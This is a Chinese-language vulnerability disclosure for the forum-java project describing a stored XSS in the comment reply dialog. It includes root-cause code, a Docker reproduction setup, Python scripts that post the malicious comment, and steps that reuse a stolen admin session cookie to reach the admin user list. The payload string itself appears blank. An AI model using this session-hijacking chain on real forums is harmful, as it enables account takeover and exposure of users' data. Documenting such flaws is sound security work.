# forum-java 漏洞报告 软件名称:forum-java 开发者或厂商:Qbian61 代码仓库:https://github.com/Qbian61/forum-java ## 1. 评论回复弹窗存储型XSS 简要描述:攻击者发布一条包含 XSS payload 的评论,受害者点击该评论的「回复」时脚本执行,攻击者接管受害者账号。 影响版本:20f7e68 ~ 63152c49 漏洞引入:[forum-java commit 20f7e68f](https://github.com/Qbian61/forum-java/commit/20f7e68ff5d465fe6de91adab4f94df36fc22f63) 前置条件:攻击者有普通权限账号。 ### 漏洞成因 评论内容在写入和读取时都不做 HTML 清洗。`CommentManager.create` 调用 `CommentTransfer.toComment`,把请求体里的 `content` 原样存进 `forum_comment` 表: ```java // forum-app/src/main/java/pub/developers/forum/app/transfer/CommentTransfer.java:19-26 commit 63152c49c7 public static Comment toComment(CommentCreateRequest request, User user) { return Comment.builder() .content(request.getContent()) .postsId(request.getPostsId()) .replyId(request.getReplyId()) .userId(user.getId()) .build(); } ``` 文章详情页把评论内容写进 `data-reply-content` 属性: ```html ``` Thymeleaf 对属性值只做 HTML 转义,浏览器解析 `data-*` 属性时把实体还原,`dataset.replyContent` 于是得到攻击者提交的 HTML。点击「回复」时,`posts-script.html` 把这个值交给 `jQuery.html()`: ```js // forum-portal/src/main/resources/templates/include/posts-script.html:30-34 commit 63152c49c7 $('.reply-comment').on('click', function (e) { $('#commentModalDropLabel').html('回复 ' + this.dataset.replyNickname); $('#repliedContent').html(this.dataset.replyContent); replyContent.attr('placeholder', '回复' + this.dataset.replyNickname); replyBtn.attr('data-reply-id', this.dataset.replyId); }); ``` `jQuery.html()` 按 HTML 解析字符串,评论里的 `` 在弹窗打开时执行。脚本以站点自身的源运行,可以读取页面的 Cookie。登录成功后服务端下发的 `sid` Cookie 只有 `Path=/`,没有 `HttpOnly`,脚本可以直接读取。评论提交后立即可见,不需要审核。 ### 复现环境搭建 官方仓库未提供 compose 文件,这里用 Maven 镜像构建 jar,再与 MySQL 一起运行。构建命令如下: ```bash git clone https://github.com/Qbian61/forum-java.git cd forum-java docker run --rm -v "$PWD":/src -w /src maven:3.8-jdk-8 mvn -B -DskipTests package ``` 把仓库里的 `forum-starter/src/main/resources/schema.sql`、`data.sql` 复制到 `mysql-init/01-schema.sql`、`mysql-init/02-data.sql`。MySQL 8.0 导入 `data.sql` 时不会按 UTF-8 解析文件内容,需要在 `02-data.sql` 第一行加上 `SET NAMES utf8mb4;`,否则页面上的中文会乱码。 再补一条 SQL,把内置管理员账号的密码设为 `Admin@12345`,便于演示会话劫持: ```sql -- mysql-init/03-admin.sql UPDATE `forum_user` SET `password` = '14ab33f6d1cb88c0d2e563da939f0303' WHERE `id` = 1; ``` 在仓库根目录编写 `docker-compose.yml`: ```yaml services: db: image: mysql:8.0 command: --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci environment: MYSQL_ROOT_PASSWORD: forumroot MYSQL_DATABASE: forum-java volumes: - ./mysql-init:/docker-entrypoint-initdb.d:ro healthcheck: test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-pforumroot"] interval: 5s timeout: 5s retries: 40 app: image: eclipse-temurin:8-jre depends_on: db: condition: service_healthy environment: SPRING_DATASOURCE_URL: jdbc:mysql://db:3306/forum-java?useUnicode=true&characterEncoding=UTF-8&useSSL=false&useAffectedRows=true&allowPublicKeyRetrieval=true SPRING_DATASOURCE_USERNAME: root SPRING_DATASOURCE_PASSWORD: forumroot ports: - "18080:8080" volumes: - ./forum-starter/target/forum-java.jar:/app/app.jar:ro command: ["java", "-Dfile.encoding=UTF-8", "-jar", "/app/app.jar"] ``` 启动环境: ```bash docker compose up -d ``` 下文以 `http://127.0.0.1:18080` 访问站点,以 `192.0.2.10` 表示宿主机的地址。管理后台的 SPA 在页面地址包含 `127.0.0.1` 或 `localhost` 时把 axios 的 `baseURL` 固定为 `http://localhost:8080`,因此访问管理后台时改用 `http://192.0.2.10:18080/admin/user-manager`,`baseURL` 才会保持相对路径。 ### 复现过程 注册攻击者账号 `attacker@example.com`,发布一篇文章,并在文章下提交评论: ```python import time import httpx BASE = "http://127.0.0.1:18080" c = httpx.Client(base_url=BASE, timeout=20) r = c.post("/user-rest/register", json={ "email": "attacker@example.com", "nickname": "attacker", "password": "Attacker@12345"}) print(r.status_code, r.text) r = c.post("/article-rest/save", json={ "typeId": 3, "title": "XSS demo", "contentType": "MARKDOWN", "markdownContent": "hello", "htmlContent": "

hello

", "headImg": "", "tagIds": [188]}) print(r.status_code, r.text) article_id = r.json()["data"] time.sleep(3) payload = '' r = c.post("/comment-rest/create", json={"postsId": article_id, "content": payload}) print(r.status_code, r.text) print(f"article: {BASE}/article/{article_id}") ``` 脚本中的 `time.sleep(3)` 用于等待 `PostsAuditTask` 把新文章从待审状态改为审核通过。 输出如下: ``` 200 {"code":200,"message":"success","success":true,"data":"479c1e1d31ed4df8b0e7e7b6f3b932c3"} 200 {"code":200,"message":"success","success":true,"data":1} 200 {"code":200,"message":"success","success":true,"data":null} article: http://127.0.0.1:18080/article/1 ``` 用管理员账号 `admin@developers.pub`、密码 `Admin@12345` 在页面右上角登录,打开 `http://127.0.0.1:18080/article/1`。评论区显示了这条评论: ![](img/01-article-comment.png) 点击该评论右下角的「回复」,弹窗把评论内容当 HTML 渲染,payload 随即执行,把管理员的 Cookie 写进弹窗正文: ![](img/02-reply-modal.png) 弹窗中的 `sid` 即管理员会话,值为 `c467357de8704451b7bbaaba1edca320`。用它调用用户管理接口: ```python import httpx sid = "c467357de8704451b7bbaaba1edca320" c = httpx.Client(base_url="http://127.0.0.1:18080", cookies={"sid": sid}) r = c.post("/admin-rest/user/page", json={"pageNo": 1, "pageSize": 20, "filter": {}}) print(r.text) ``` 输出如下: ``` {"code":200,"message":"success","success":true,"data":{"list":[{"id":3,"email":"attacker@example.com","role":"用户","nickname":"attacker","sex":"未知","state":"未激活","avatar":"https://sdn.geekzu.org/avatar/dec4ff5dcb1fff0affb8e35deb20e25f?d=retro","signature":"","createAt":"2026-11-14 14:14:30","updateAt":"2026-11-14 14:14:29"},{"id":1,"email":"admin@developers.pub","role":"管理员","nickname":"管理员-0","sex":"未知","state":"启用","avatar":"https://sdn.geekzu.org/avatar/1a3bb2d10df88c92716c83875d1e81ee?d=retro","signature":"开发者客栈管理员","createAt":"2020-10-01 08:00:01","updateAt":"2026-11-14 14:14:52"},{"id":2,"email":"superadmin@developers.pub","role":"超级管理员","nickname":"开发者客栈","sex":"未知","state":"启用","avatar":"https://sdn.geekzu.org/avatar/f0144b36290972dc34825f2d2e3f97c5?d=retro","signature":"开发者客栈官方超级管理员","createAt":"2020-10-01 08:00:01","updateAt":"2020-10-01 08:00:01"}],"total":3,"size":3}} ``` 在没有登录过的浏览器中打开 `http://192.0.2.10:18080`,用控制台写入该 `sid`,再打开 `http://192.0.2.10:18080/admin/user-manager`: ```js document.cookie = 'sid=c467357de8704451b7bbaaba1edca320; path=/'; localStorage.setItem('token', 'c467357de8704451b7bbaaba1edca320'); ``` 管理后台正常加载,用户列表包含全站账号的邮箱与角色: ![](img/03-admin-backend.png)